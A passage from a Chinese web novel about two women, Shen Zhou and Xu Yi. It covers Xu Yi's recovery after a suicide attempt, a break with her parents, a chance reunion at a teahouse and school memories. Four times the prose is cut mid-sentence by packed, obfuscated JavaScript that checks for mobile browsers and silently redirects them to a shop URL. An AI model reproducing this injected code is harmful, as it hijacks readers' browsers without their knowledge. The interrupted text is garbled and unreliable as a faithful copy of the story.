那个在学生时代握着一张车票跨越一千公里去见自己的人……
那个可以在地震时候冲进酒店披头散发要救自己的人……
那些暧昧不明的纠缠和那些果断的不回头……
在你眼里,我究竟是谁?
叮咚一声,手机轻轻震动。
shu:你决定怎么办?千万不要着急冲动。
shu:小秋已经帮你问了,人没事。
沈舟在想究竟什么是没事?当初自己觉得感情轻拿轻放就平安无事,然后自己出国一走了之,一颗千疮百孔的心就会自动愈合,大洋另一端的璀璨夺目会带着她忘却一切。
顺风顺水的人生就注定了她无论放下什么,都不能称之为失去,因为很多更好的东西很快便会一拥而上,沈舟要做的只是挑选而已。
沈舟发现自己其实根本不了解许意,虽然两人交往过一段时间,许意对于她来说是一个谜。
羞涩的,含着露珠的白玉兰……这是学生时代的许意。
后来呢,在宣城再次遇见许意,羞涩完全褪去,一种沉默的气息铺面而来,那双眼睛依旧亮,很黑,像深不见底的潭水。
在学生时代挥手后,沈舟的性向也并不是秘密,并不是没有爱过其他人,也从来不缺人追求。
可是这种像风又像迷雾一样的气质,再次点燃了沈舟内心深处的征服欲。
学生时代的无疾而终,选择主动出击,才是沈舟的特性。
可她没想过,人可以走进风中,也可以身处浓重的雾气之中,却永远不能抓住风,越是想要掌控一切,最终只剩下手心的潮湿。
爱情不过自我满足之物,要谈拯救,太冠冕堂皇。如果不符合自己的期待了,那就放弃好了,天涯何处无芳草,自己可以去往世界上的任何一个地方,寻找任何一种新鲜刺激的感觉。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17057632|194898||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>况且在她身上,永远得不到答案,人心本来就是一种豪赌,一场沉默的谎言。
沈舟感觉自己的心像是要被撕裂一般,从前的伤口复发,血流不止。
夕阳金碧辉煌,透过透明的玻璃窗,空气中荡漾着金色的浮尘,一寸一寸,给空荡荡的房间带来一小片光明。落在人身上,光束也一分为二,一半落在光中,一半则落在阴影中。
光影迁移,不过须臾之间,很快就是一片黑暗。
黑暗中,她依旧只是静静地站着,往事如同残阳断影。
现在的人生已经是自己想要的一切,当初自己坚定想要去海外,就是喜欢这种在陌生的环境开疆拓土的感觉。
当初自己提出要去海外工作,原本只是一个试探,许意却选择和她一刀两断。
沈舟不明白,至少这个人口口声声说要做一辈子的朋友,没有挽留又要一刀两断,小小的试探变成了现实,沈舟不可能为了她放弃机会。如今一切也如她所希望的那样,海外部的成立是个正确的决定,沈舟大刀阔斧,带着一批人马,在这个陌生的国度开拓市场,前程大好。
浑然天成的一切,才是沈舟向往的,向她曾经历的一切那样,无需磨合,只要选择面对,就天高云淡,坦途大道。
手机又一轻响。
shu:你没事吧,不会又在喝酒吧?
只一瞬,那种难以言表的感觉又涌上心头。
像是在暴雨天外出航海,明知天气不好,却要一厢情愿地冒险。
一颗心被随意磋磨,浸在烈酒中。
沈舟觉得一阵口干,确实想要喝酒了。越是上瘾越是要戒酒,沈舟选择给自己倒了一杯白开水。
水流过,带来些许湿润的感觉,勉强压制内心的躁意。
难解的数学题,青年时期已经做过非常多了,遇到难教的人,就一遍一遍地再教了。
爱情不是数学题,不可能永远一个人自说自话。
沈舟:没有,我戒酒,你不用担心。
沈舟:真的没事。
shu:要是难受记得告诉我。
天高云淡,心却越是沉入海底。
越是想要远走高飞,就越是毫无可能,越是猜忌、担忧、怨恨。
玻璃窗上,倒映着一个苦涩的微笑。
即使自己已经准备好不复相见,但她想要的并不是她的消失,自己要的只是地球两端的相安无事。
现在的她,不也没事了吗?
有一瞬间,沈舟觉得自己无端想要一走了之,飞机的机翼留下数千里的云轨,沿着无数金灿灿的日落闯进宣城那个落满白雪的冬天。
看着玻璃窗上的黑色倒影,沈舟选择相信自己的多年好友,林舒可以不受情感支配,做出理性的判断。
留在这里,继续追逐自己想要的未来才是自己的责任。挺直了背,沈舟尽量让自己看起来没有那么狼狈。
这个世界上有那么多人,为谁放弃都是不值得的。
究竟是专情还是滥情,还是这一切对于她而言只是一场无理取闹的游戏?
世界另一端的她,不会再给自己答案了。
她的人生与自己无关了。
5. 出院
过了一个礼拜,许意出院了。
住院期间,许意请了一个护工,负责一些自己住院期间力所不能及的事情,其余自理。
出院并不意味着治愈,人要为自己的行为付出漫长的代价,在此期间,必须事无巨细地忍受,这道理就跟养花一样,发芽不是胜利,抽条不是胜利,乃至开花也不是胜利,直到花开花败,平安无事地归于尘土,完整经历它的生长周期才算胜利。
手腕上那一道伤疤至少需要半年才能彻底恢复,当时感受不到有多疼,等到四下无人,这种疼痛才悄无声息地滋长,缠缠绵绵,不肯罢休。
手腕受伤,很多事情就要暂停,哪怕是一些轻体力活,幸亏受伤的是左手,右手给这如同沼泽一样密不透风的幽暗生活辟出一条小径,得以勉强呼吸。
这段时间,许意也没什么想做的,只是刷刷手机,看看网上的嘲讽,也看看网友的支招。走到这一步,很多事情也没有那么重要了,活着的感觉真好,呼吸着新鲜的空气真好。
至于工作,在许意决定自杀之前就已经辞掉了,既不想给公司添麻烦,更不想被议论。
现在无论是是身体状况还是心理状况,恐怕都没有办法在继续上班了。
出院了,许意便回家了。看着家中空空荡荡,现在这一套房子已经变成他人口中的“凶宅”,再也不会变成婚房了。
不过无论是不是“凶宅”,许卓的终身大事也不可能被耽搁。
没过几天,许意的父母便上门了。
谈不上什么不请自来,许意想,当初钥匙还是自己给的。
如果当初没给钥匙,也不会在那一天回家的时候看见家中来了一群人,然后陈秀莲和许卓便住下来。一天天地住下去,父母的明示又或暗示,就像钝刀子割肉,许意总有一天会受不了,腾出位置,成全一桩姻缘。
许意回家的时候,唐秀琴和许智伟正坐在客厅的沙发上,茶几上摆着一盘果切,旁边放着一大堆东西,有保健品,农家特产,还有一堆说不上名字的东西。
一进门,唐秀琴便起身,殷勤地去接许意手上的包,关怀道,“小意,这几天累不累,要是累的话,就跟爸妈回老家休息吧。”
坐在沙发上的人一唱一和,“你那手也受伤了,估计也干不了什么,过几天好点,就跟着你妈回家。”
许意一个眼神也没给,一侧身,搭在自己肩上双手落了空,一头钻进了房间。
用心堆砌的笑容一松,撑起来的肉一并顺着嘴角垂了下来,想要哭似的,唐秀琴只能将两手往大腿一抹,原地转了一圈,假装无事发生。
“哼,你看看你惯出来来的好女儿。”许智伟坐在沙发上,别开脸谁也不看。
唐秀琴没说什么,只是缓缓走过来,然后又坐回沙发上。
她不明白为什么自己勤勤恳恳操持家庭几十年,刚开始生了女儿遭人白眼,后来赚了钱,把女儿接到身边,跟别人家的男孩一样上学读书,苦了这么多年,眼看着孩子都要长大成家立业了,这几年在老家也脸上有光,就等着儿孙满堂。一个心扑在这个家上,这个家慢慢发展壮大,是自己这么多年来的愿望,现在自己的女儿却突然什么都不配合了,自己十几年的努力都成了乡里邻里的笑话。
况且,现在自己拿孩子也没办法了,一个个都有自己的想法,看的书说的话自己也很多听不懂,更不可能像小时候一样服自己管,打了骂了也不吭气。唐秀琴心里明白,这些年来,自己这个女儿体贴懂事,赚的钱也高出别人家一大截。不过,她实在难以接受,这个原本和睦美满的家庭被女儿的叛逆击碎,她一开始觉得这套房子女儿也没那么需要,但没想到女儿会自杀,手上那道伤口触目惊心,再回过神来就是现在这样难堪的局面。
这几天,她自己也反省了,先稳住女儿,后面的事情先放一放。
不仅如此,唐秀琴还顺便给许智伟做了很多思想工作,好不容易劝住了她爸的暴脾气,五十多岁的人从来没在晚辈面前低过头,如今拉着脸来求和,没想到她还木着一张脸,仿佛不认识他们,要老死不相往来一样。
想到这,自己的一番苦心被辜负,沉默良久的唐秀琴忍不住嚎啕大哭起来,坐在一旁的许智伟一惊,开始还端着架子,跟女儿怄气,一副谁也不搭理谁的样子,看见唐秀琴这副失魂落魄伤心欲绝的模样,也慌了神。
来之前两人便商量好了,今天一定要让他们女儿回心转意,许智伟耐着性子劝了一会,唐秀琴却仿佛听不见一般,眼泪横流糊住了嘴,嘴里想含着一个吐不出的灯泡一样,呜呜呜的,一阵阵地哭。
许智伟感到烦躁,自己五十多年来什么没经历过,如今也遇上了棘手的难题,问题究竟出在了哪里,很快,他将目光落在那道紧闭的房门上,猛地想起自己今天拉下脸面,她这个女儿却把他们晾在一边,在老家那一块虽然明面上没人敢说什么,背地里还不嘲笑他家现在一团糟,自己在家浑身不舒服,罪魁祸首还置身事外呢,躲在大城市安安稳稳,这个不孝女!
而那个安安稳稳的许意,正听着屋外的哭声,心中警铃大作。
房间那盆绿萝,在静谧中舒展枝条,金色的光给这一抹新叶镀上一层釉色,油亮的绿意满盆。
躁的火,冰的泪,心如死灰,但死灰复燃,许意迷茫了。
这盆绿萝是当初许意新家装修的时候,唐秀琴给她买的,脸上是温柔的笑意,叮嘱她工作别太累,多看看绿色,保护眼睛。
“砰砰砰”,门震天响。
“许意,你还有没有良心,你妈被你气成这样了,你还关起门假装听见了。”许智伟怒嚎,隔着薄薄的门板吓得人一哆嗦。
“当初就应该把你送走,读了那么多书,还高材生,多少人没读过书还比你知道感恩,你要是还要脸,就出来给你妈道歉,这件事我们就不追究了。”夹枪带棒,却冷不丁地多出一句让步。
悲情一散而空,果然是来讨伐自己的,还颇有谋略,一个苦情戏,一个炸药桶。
门“哗”一声开了,门外怒发冲冠的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17057633|194898||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
人却噤声了。
许智伟瞧了眼女儿手腕上缠着的厚厚的纱布,一张脸涨得通红,背着手不情不愿地一屁股坐在沙发上。
一直躲着根本解决不了问题,许意不去找父母说明白,他们也迟早会过来,二十多年来留下的蛛丝马迹太多,没有她的藏身之所。
“既然事情都这样了,那我就把话说清楚。”一语石破天惊。
许意坐在两人对面的沙发上,一张茶几如同天堑,一面泪水涟涟,怨气冲天,一面泰然自若,目无一物。
对面没人讲话,哭声却收敛了些,一边抹眼泪,一边身体微微前探。
她继续说道,“房子的话,你们就别想了,这几天正好你们来了,把你们的东西带走,或者我自己处理掉。”
“我们、我们不是来说房子的事情……”唐秀琴支支吾吾,像个因为没完成作业而被老师批评的孩童。
许意没有理会,“还有一个你们最关心的事情,许卓婚房我可以出十万,不可能再多了,剩下的你们自己解决。”
哭声又响了起来,唐秀琴听出话里的门道,哭诉道,“做父母的最希望的就是子女平安健康,你和你弟弟一起长大,我和你爸从来没有偏心过谁……”许智伟一把揽住唐秀琴,颇为痛心,“这几十年来,我和你妈对你们姐弟俩问心无愧……”
“如果要谈感情的话,这钱我就给不了了。”许意没有被带偏,直接下了定论,没有商讨的余地。
两张脸一齐怔住,相顾无言。
“未来几十年,你们的生活费我照常打在银行卡里,我能保证的也是你们在物质上的平安健康,以后没事尽量少见面。”这是一场谈判。
唐秀琴的哭声停了,缺氧感让她脑袋发懵,抽抽噎噎的说不出话来。
空气中只剩下吸气声,每一秒都像一万年一样漫长。
“小意,爸爸妈妈要的只是我们一家人平平安安的。”许意终于将目光转向唐秀琴那种爬满皱纹的脸,如今又结满泪渍,她并不想去质疑这句话的真假,只想结束这荒唐的一切。
“如果你们不打扰我的话,我会过得比现在好。”终于说出来了,但心脏却感觉一阵闷涩,并没有想象中的痛快。
多年来的养育之恩变成一厢情愿的打扰,他原以为事情还有转机,许智伟终于感到心寒,脸色阴沉,蹭地从沙发上站起来,什么也没说,一把把沙发上了唐秀琴拎了起来,拽着唐秀琴就要走。
唐秀琴被许智伟莫名其妙的举动一惊,两只手挣扎着,身体往后退,腰背弯着,折叠得很小,哭道,“这是我女儿家,我为什么要走。”许智伟下了决心,推推搡搡地把人拉扯到了门口。
可真要走出这扇门,要回去应该就更不容易了,许智伟内心还残存最后一丝期待,可结果没有如他所愿。
“出了这个门,一切都说到做到。”许意没有回头,声音里藏着微不可察的哽咽,无情地下了逐客令。
连犹豫的机会都剥夺了,但这次,他合上了那扇门,动作很轻。
6. 十面埋伏
生活确实清静了许多。
但是临近年关,又出来这么一茬,唐秀琴心不死,每天发点家里的照片,话里话外试探许意过年回不回家,弟弟许卓也跑过来问自己,凭借着身份优势,许意挑明了,直接说不回,估计许卓没把自己的意思传达给父母,怕火上浇油,是非难了。
许意不接招,只是当个无情的“atm”,按时转账,后来唐秀琴也没有再发。从小到大,这还是许意第一次没准备过年回家。
在家中闲来无事,也有三两知心好友相约,虽然大家都很默契,措辞很小心,绝口不提许意受伤一事,但许意并不希望大家齐聚一堂,然后揣着明白装糊涂,小心翼翼地陪着她,本来就是辞旧迎新的喜庆节日,一个人整理心情也不失为一种恰当的选择。
虽然朋友不多,许意也不爱折腾,但本质上还是喜闹不喜静,不喜欢冷冷清清的,思来想去,决定去春明茶馆。
春明茶馆是新中式茶馆,点茶品曲,客人点茶,每道茶有不同的中式曲艺表演,对应价格也不同。除此之外,每逢传统节日,便有对应的活动。
许意自认为没有什么爱好,除了工作,打发时间就是去春明茶馆。
这不,春明茶馆张灯结彩,烁光彩影,客流量不减反增。宣城这座大都市,机械轰鸣,高楼林立,城市管理撤去了烟火气的小摊小贩,两道是玻璃橱柜,展示着这座城市冰冷且昂贵的欲望。从年头到年尾,掏心掏肺的都市人了厌倦灯火酒绿,只寻一处静谧的消遣。老幼相携,爱侣依偎,再则一人潇洒,在春明茶馆,都是再自然不过的。
许意是春明茶馆的常客,轻车熟路地选了一处大众楼台,每格茶座间置有珠帘,有人多的热闹喜庆,却也不彼此打扰,只能从珠帘中影影绰绰瞧见人影。
琵琶声音徐徐,如杨柳扶风。许意品着一口西湖龙井,茶汤淡绿,浮着几片清瘦茶尖,清新雅致。身旁人言交谈,好不热闹。
一曲琵琶终了,那手抱琵琶的女子缓缓起身,朱唇轻启,说道:“此曲终了,有无闲人雅士续上一曲?琵琶会友,知音相逢。”一双杏眼脉脉含情。这是曲艺表演的互动环节,有很多带着孩子的家长会让自己小孩上场,锻炼胆量,另外就是一些艺高人胆大的年轻人和从容不迫的老艺术家。
当然这事和自己关系不大,自己只是没事来喝口茶,看看表演,让自己沾上些人气。
“有请楼台上穿棕色大衣的那位女士。”抱着琵琶的女子选定了下一位表演者。许意只感觉身边珠帘轻晃,木制的板凳嘶哑一声,许意想透过珠链的缝隙偷看一眼表演者,隔壁那桌空空荡荡,估计也是一个人来的。
从楼台下去有一段楼梯,许意又给自己添了一杯茶水。
“请问这位女士表演的曲目是什么?”演奏者变成了主持人。
许意低头,欲吹凉那新添的滚烫茶水。
“《十面埋伏》。”声音清冷,像春天的泉水。
好耳熟的声音。
许意抬头,双手捧着茶杯,浅浅的茶面如湖泊,倒映着一张茫然的脸。
水蒸气滚滚向上,熨着楼台下那一双冰冷的眸子。
果然是她,沈舟。
许意看着她接过琵琶,落座,然后细长的手指落在琵琶弦上,袅袅天籁缓缓拾级而上,最终杀气腾腾,摄人心魄。
列营、擂鼓、走队、排阵。
那人宛在中央,四下是竹林,四面八方竹叶翕动,刀光剑影犹在其间。
一瞬间,许意觉得这茶楼只剩两人,楼上的看客,和楼台下垂眸奏曲的沈舟。
《十面埋伏》这曲并不是许意第一次听,这是当初沈舟在宣城一中的成名曲,一曲肃杀冷峻,吸引了无数迷弟迷妹,后来宣城一中校庆宣传片还邀请沈舟返校,弹奏了一曲琵琶,不过,才艺过人是事实,校庆纯粹是因为沈舟在联考、模考乃至高考的百战成名,留下一曲佳话。
《十面埋伏》高潮不断,直至峡湾最急处,流水奔腾,而后天光大破,千军万马夺旗而归。
曲罢,那人身姿如松,目光缓缓扫视台上,而后俯身鞠躬,台上掌声雷动。
又见面了。
台上人依旧熙熙攘攘,台下琵琶声又起。
身旁珠帘又一动,这次许意不敢隔着缝隙去看,假装醉心歌舞,修长的脖颈梗着,像一只被迫出壳的乌龟。
人的习惯真可怕,许意突然后悔每次来茶馆都选同一个位置,楼台座位的最里侧,出去必然要经过外侧的位置。
如果是往常的话,许意可以一个人待到演出结束,人全散去的时候,但这个时候,许意没有办法专注玩乐。
两厢楼座,距离不过几尺,竟是难言的尴尬。
但是感到尴尬的绝不止许意一人。
尴尬是互相传递的,心照不宣的。
沈舟虽然身在国外,但是中国人哪有不过春节的,临近春节时坐着颠三倒四的航班回了国,谁承想,爸妈招呼不打一声双双赶上夕阳红旅游团,去南半球过冬了。
自己成了孤家寡人。
虽然沈舟朋友很多,当然可以呼朋引伴,但莫名想要一个人待着。
在家里呢,看着家里一橱柜的酒,琳琅满目,都很美味,沈舟心想,这不是把老鼠放在米缸?
想着自己承诺了要戒酒,沈舟去了春明茶馆,培养起喝茶的习惯估计就不爱喝酒了。
谁承想自己一落座,总感觉哪里很奇怪,但也说不上来。
后来主持人找人弹曲,心想自己在国外确实很久没碰琵琶了,想着弹一弹,复健一下。
直到自己走下楼台,从主持人手里接过琵琶,往台上一瞥,居然是旧人的后脑勺。
秉持着不能在前任面前不能展示脆弱的原则,沈舟选了《十面埋伏》,觉得自己弹得格外好。
沈舟心中飘飘然,自己简直是天才中的天才,高手中的高手。
上楼后,才发现天才是孤独的,自己是单身的,绯闻前女友是对自己不闻不问的。
两个人不明不白地较劲五分钟,谁也不看谁。
相隔几千万里是单相思大爆发,近在眼前要占据主动优势。
沈舟暗自深呼吸,心想,有缘千里来相会。
珠帘一动,一只毛茸茸的脑袋探了过来。
咦?
不好,有怨气。
乌龟缓缓做头部运动。
不知道该不该笑,嘴角不上不下。许意像一个偶遇前女友的渣男,颇为心虚地开口。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17057634|194898||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>“好巧啊。”
一阵乌鸦飞过。
“嗯,挺巧的。”话不多,还挺高冷。
又一阵无言,毛茸茸缩了回去。
两分钟后,许意手机收到了一张图片,蓝牙传的。
黑底红字,写着“请把我放出黑名单”。
许意照做,做完之后还发了个表情包,以示完成。
微信飞来一个握手.jpg。
尴尬烟消云散,又弥漫了一种诡异的和谐。
两人相敬如宾地看完所有表演,人潮散去,准备各回各家。
但是你不动我不动,许意摸摸茶杯,翻翻手机,透过珠帘虚虚一眼,对面已经收拾好东西了。
“我送你吧。”珠帘晃动,人影如松。
许意分了神。
“啊,好啊。”意识到自己说了什么之后,自己已经老老实实面对着棕色的“墙”反思了。
跟着人出来茶馆,是一辆黑色的奔驰,和她的主人很配。
没来得及碰上坐副驾还是后座的难题,沈舟已经贴心地为她打开了后车门。
“我看你困了,后面好休息。”灌茶水和自己灌酒一样不眨眼。
这样的距离比茶馆里还近,甚至可以看见许意轻轻颤抖的睫毛。
不施粉黛,脸上是很自然的红晕。
甚至许意手扶车门,弯腰进车,大衣露出一截手腕,上面的伤痕也一清二楚。
真的见到眼前这个人,沈舟突然觉得自己没有怨言了。
“谢谢。”月牙弯,黑眸亮,眼前的人如此鲜活,其实自己需要的没有自己想象中的多。
茶馆从眼前缓缓消失,车辆驶入黑夜。
果然,许意看着眼前这人,沈舟和自己想象中的一样成功,无论去到哪里,都自信昂扬。
不计前嫌,很坦荡磊落,幸亏自己没有耽误她。
手腕又疼了起来。
“你在看什么?”沈舟瞧着这人放松下来,目光放纵,在自己身上游移,心中又生出了逗弄的心思。
“没有,就是好久没见了。不过,我觉得你现在这样很好。”许意坦言。
“国外的工作确实挺顺利的,那你自己呢?”沈舟接受了这份寒暄,又抛回一个问题。
“我?我现在也挺好的。”如果只是这一刻的话,的确是安全的,没有烦恼的。
这样有一搭没一搭地聊着天,似乎也过去很久了。
然而,四通八达的交通网络,终将带你回到任何一个你应该回去的地方。
没有一条路通向天涯海角,也没有一条路可以走到海枯石烂。
到了天华小区门口,两人竟然生出一种依依惜别的感觉。
良久,沈舟解锁车门,许意下了车。
沈舟将手倚在车门,支着下巴,没有说话。
车窗是画框,画框中是眼前人。
许意淡淡一笑,今天真是幸运的一天,笑道:“沈舟再见,路上小心。”
沈舟还是没有说话。
想到了什么,许意又添了一句,“记得到家给我发消息。”
“嗯。”很轻很珍重的一句话。
画中人回身,车窗摇起,驶向了一个夜色如水的夜晚。
7. 蓝雨伞
世界真小。
许意心想。同样的《十面埋伏》,居然已经十年了。
旧人相逢,便怪不了人忆往事,念旧情。
十年前,也不过弹指一挥间。
那时候许意刚到宣城一中,身边大多数是从宣城一中初中部升学上来的,一个实验班只有几个外地来的。
许意就是其中一个,中考许意超常发挥,从宜城实验中学考上宣城一中。
当时许意的父母犹豫了很久,家里学校离家近,而且不用学费,那个时候因为家里两个初中生,唐秀琴留在家里当了家庭主妇,平时靠着接点制衣厂的活补贴家用,但是大额的收支全靠着许智伟一个人,但后来还是考虑到大城市教育好,让孩子出去见见世面也好,十里八乡还没有几个考上宣城一中的,没有不去的道理,许意也真的去了宣城一中。
一个人来到省会求学,家在宜城,因此,许意也毫无疑问地选择了寄宿。
宣城一中实验班的宿舍是四人宿舍,但是实验班外地学生少,选择寄宿的学生更少,许意和另一个外地的女同学谢平安组成了两人寝。
在陌生的环境里,许意做的事情就是观察,观察周边的一切,直到变得熟悉,再沿着一份熟悉的感受被接纳的感觉。
初来乍到的许意看着同班同学都成群结队,要么也有外班的好友。
那时候下晚自习,沈舟就经常来等她前桌的林舒。寄宿生要晚半个小时下晚自习,许意就看着沈舟和林舒两人一同回家,两人高挑,很养眼。
文理双殊,这是第一次月考后许意对这两人的看法,沈舟理科排名第三,综合第四,林舒文科排名第二,综合第八。
许意看着双双过百的排名,还是自己诚惶诚恐,害怕考试不及格在宿舍挑灯夜读的成果,结果物理还是不及格,人与人差距真大。后来许意才发现,在升入高中之前,大多数同学已经趁着寒假上了初高中衔接班,已经学完了高一的知识点。
说不羡慕是假的,成绩好,人缘好。不像自己,两不沾。当初的许意心想,要是也有一个人可以每天下课等自己,自己肯定会把她当成一辈子的好朋友。
后来,确实有一个人每天等自己下课,两人也确实成为了对方心目中一生的朋友。
没有什么朋友,许意只能注视着人群的热闹,每天下晚自习的期待就是观察沈舟会在下课的第几分钟出现在实验2班的门口。
有的时候是五分钟,有的时候是半个小时,许意会猜想她是不是和同学讨论那道物理课上自己听不懂的难题,有时候她没来,许意会想她是不是和别的班的朋友一起回家了,毕竟她好像朋友很多的样子,经过实验1班的时候,总能看见她身边有不同的人……
时间的流逝没有任何刻度,这是属于许意的结绳记事。
她来了,她没来……
这场无人知晓的结绳记事持续了两个月。
这种局面被一把蓝色的雨伞改变了。
那一天,实验2班正上着晚自习,五楼的教室也飞进几只蜻蜓,难怪从下午开始教室就一阵发闷。估计是要下雨了。
那天的林舒很早就收拾好东西,在离下课五分钟之前就离开了教室。
许意当时正在为一道数学题绞尽脑汁,一抬头,前座的座位空了。手掌撑着脸,许意心想,她真勇。从小到大,她还没有干过任何迟到早退的事情呢。虽然晚自习压根没有老师盯着,许意也不敢自己给自己下课。
不过要是林舒先走了的话,沈舟今天应该不来了。
许意也不知道自己在失望什么。
还没过几分钟,天降大雨,势不可挡。
许意看着泛白的灯管,雨声哗啦啦的,林舒走得真不巧,估计刚下教学楼就下雨了。
那料林舒去而复返,弯着腰在桌肚里翻找。
“咦,我记得出门时候我拿了的呀?”林舒小声喃喃道。
雨声渐渐变小,但似乎也没有要停的意思。
雨伞吗?许意记得自己倒是带了一把伞,自己也还有三十分钟才结束晚自习。
“林舒,我有伞。”许意小声说道,怕打扰旁边同样因为数学题抓耳挠腮的室友。
“谢谢,不过那你怎么回去。”林舒没有直接接过伞。
“哦,我待会回去估计雨停了,下雨了我可以和谢平安一起回去,我俩是室友。”许意解释道。
“对,我们一起回去。”旁边的谢平安头也没抬,握着笔刷刷地演算着。
“谢了。”林舒笑着,眉毛很淡,像一朵清新淡雅的栀子花。
很轻很轻,某种温暖像羽毛一样轻轻拂过心头,许意心里有了小小的成就感。
不过沈舟果然也没来。
许意没想到昨天没有见到的人,第二天一早就出现了在自己眼前。
住校生起得早,又凭着得天独厚的距离优势,更是因为室友谢平安的激励,笨鸟要先飞,谢平安和许意总是最早来教室的。
谢平安习惯一早到了教室先背生物化学知识点,在外面的连廊站着背,冷空气扑在脸上,更有精神。
许意则一般是补前一晚上没写完的作业,虽然是笨鸟,但是笨鸟不爱熬夜,要是最近没有考试,十一点之前许意一般就睡觉了。更何况,许意已经完全松弛下来了,物理虐她千百遍,要待英语如初恋,再怎么挣扎,也改变物理不及格的事实,况且全年级物理及格率不到百分之三十,不如多学会数学英语,看得懂还提分见效快。
因此,偌大的教室只有许意一个人。
“你是许意?”眼前人笑着,身着白色校服。
一片寂静中,突然来了个女声,就算人赛天仙,也结结实实地吓了许意一跳。
许意抬头,身体后缩,手还紧紧握着圆珠笔,书上留下一个墨疤。
“不好意思,吓到你了。我听老人讲手搓热,把慌张的气搓散,就没事了。”看着那个墨疤,沈舟微微蹙眉。
还没反应过来,圆珠笔就自由了,那人拿起自己的手,动作很轻柔,一圈一圈的,自己冰着的手一点点回温。都怪数学题。
虽然动作有些怪异,许意还是很有礼貌地回了一句“对”和“谢谢”。
眼前人又笑了。
“你
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17057635|194898||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的伞,谢谢你,林舒让我还给你的,她感冒请假了。”声音很亮。
感觉自己被一阵暖洋洋的感觉包裹,尽管六点多钟的校园还没有完全天亮。
许意接过雨伞,为什么,为什么在要飘雪的冬天,她的手却是热的,湿润的热。
“不用谢。”沈舟笑起来有一个酒窝,一双浅棕色的眼睛中映着自己的脸。
许意觉得一定是谢平安太早叫自己起床了,现在感觉脑袋晕乎乎的。
居然就这样直愣愣地抬头盯着人看了一分钟。
整整六十秒。
沈舟却显然对她作业本上那道乌漆嘛黑的数学题更感兴趣。
“连接p点和q点,再做一条垂线。”沈舟指着书上那道面目全非的立体几何,覆盖着好几层擦不干净的灰色字迹。
手指好长好白,每一段指节都很匀称。
“哦哦,对对对,谢谢。”许意低头,拿着笔开始修改,像被严厉的老师指出错误的笨学生,耳朵一阵发烫。
感觉比林舒下一秒就要来收作业还慌张。
“嗯,没错,你很聪明。”温暖的鼓励。
时间像窗外的光影,慢吞吞地向上爬,许意继续动笔。
果然,一画上辅助线,思路明了了很多。
沈舟事了拂山去,指点一二,开悟靠个人。
许意抬头,空荡荡的教室只剩下自己。
许意如果不是知道凭自己的领悟力做不出这道题,估计还会以为自己只是单纯的没睡醒。
不过桌上多了一块巧克力,上面是英文字母,许意不认识的牌子。
上面有一张便利贴。
“谢谢你!”
上面绘着一把雨伞和一个笑脸,字迹是工整的楷书。
不是林舒的字迹,雀跃心头。
许意记得后来自己非常郑重地将那张便利贴夹在了那本写完的作业本上,像是一枚象征胜利的小红花。
那块巧克力,许意带回了宿舍,由于她和谢平安都没有吃过这种巧克力,她和谢平安一人一半。
谢平安觉得苦,还吐槽道,谁给你的巧克力,纯黑巧,这么苦,上学够苦了。
许意辩解道,明明很特别,很丝滑啊。
谢平安补刀,对,很特别的苦,很丝滑的苦,大脑反应过来的时候已经晚了,这苦味丝滑地滑进了口腔。
可能真的被苦到了,谢平安挖了一勺蜂蜜,还往许意嘴里塞了一勺,得意道,我家纯天然无添加的农家土蜂蜜才甜!
也许真的是苦的,不过没关系。
她一点也不高冷,一点也不。
咕嘟咕嘟,有蜂蜜在煮我和数学题。
虽然同时高一的学生,但是许意一直认为沈舟和林舒那一类都是学神级别的,遥不可及。
尽管,那把雨伞是两个人在高一上学期唯一的交集。
为此,在那之后,许意还买了一把新雨伞,也是蓝色的。
至于原来那把蓝雨伞,被许意珍藏着,后来寒假带回了家,可惜这把伞被唐秀琴征用了,光荣报废后,许意还偷偷伤心了一晚上。
8. 元旦道具
一个月后,就是元旦节。
要说起过元旦,宣城一中和别的学校不一样,别的学校放三天假,学生背上一堆试卷回家上学,一中则是只放元旦一天,前一天敲锣打鼓地搞元旦晚会,元旦那一天假期全校不得布置家庭作业,以最高的仪式感迎接新的一年。
